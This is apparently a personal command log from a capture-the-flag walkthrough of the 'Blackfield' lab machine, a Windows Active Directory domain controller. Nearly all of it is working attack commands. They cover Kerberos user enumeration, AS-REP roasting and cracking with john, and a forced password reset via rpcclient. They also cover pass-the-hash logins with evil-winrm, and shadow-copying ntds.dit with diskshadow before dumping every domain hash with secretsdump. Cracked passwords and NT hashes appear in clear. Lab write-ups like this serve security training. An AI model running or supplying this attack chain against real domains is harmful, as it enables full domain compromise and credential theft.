sudo nmap -p- -n --open -v 10.10.10.192
nmap -p 53,88,135,139,389,445,593,3268,49676 -sV -A -Pn 10.10.10.192

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-01-12 18:23:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
49676/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h03m47s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-01-12T18:23:55
|_  start_date: N/A

rpcclient -U "" -N 10.10.10.192

smbclient --no-pass -L //10.10.10.192/

nmap -n -sV --script "ldap* and not brute" -Pn 10.10.10.192 

./kerbrute_linux_amd64 userenum -d BLACKFIELD.local --dc 10.10.10.192 /home/wuerror/Documents/SecLists-2021.3.1/Usernames/xato-net-10-million-usernames.txt

impacket-GetNPUsers -no-pass -dc-ip 10.10.10.192 BLACKFIELD.local/support
john --wordlist=/usr/share/wordlists/rockyou.txt blacksupport.txt
john --show blacksupport.txt

rpcclient -U support%#00^BlackKnight 10.10.10.192

Administrator
Guest
krbtgt
audit2020
support
svc_backup
lydericlefebvre

smbmap -H 10.10.10.192 -d BLACKFIELD.local -u support -p '#00^BlackKnight'

smbclient //10.10.10.192/SYSVOL -U "support"%"#00^BlackKnight"

bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192

sudo neo4j console
bloodhound

net rpc password audit2020 -U support -S 10.10.10.192

rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'

smbmap -H 10.10.10.192 -d BLACKFIELD.local -u audit2020 -p '0xdf!!!'

smbclient //10.10.10.192/forensic -U "audit2020"%'0xdf!!!'

evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i 10.10.10.192

Mates,

After the domain compromise and computer forensic last week, auditors advised us to:

- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.

We will probably have to backup & restore things later.

- Mike.

PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)

whoami /priv

set context persistent nowriters
add volume c: alias pwn
create
expose %pwn% z:

unix2dos diskshadow.txt

mkdir c:\temp
cd c:\temp #后续命令都在c:\temp目录下执行，以规避执行中碰到的权限问题
upload /home/wuerror/Downloads/temp/diskshadow.txt
diskshadow.exe /s .\diskshadow.txt

robocopy /b z:\windows\ntds . ntds.dit
reg save HKLM\SYSTEM c:\temp\system

download c:\temp\ntds.dit /home/wuerror/Downloads/temp/ntds.dit
download c:\temp\system /home/wuerror/Downloads/temp/system

impacket-secretsdump -ntds ntds.dit -system system local |tee blackfield-hash.txt

evil-winrm -u administrator -H 184fb5e5178480be64824d4cd53b99ee  -i 10.10.10.192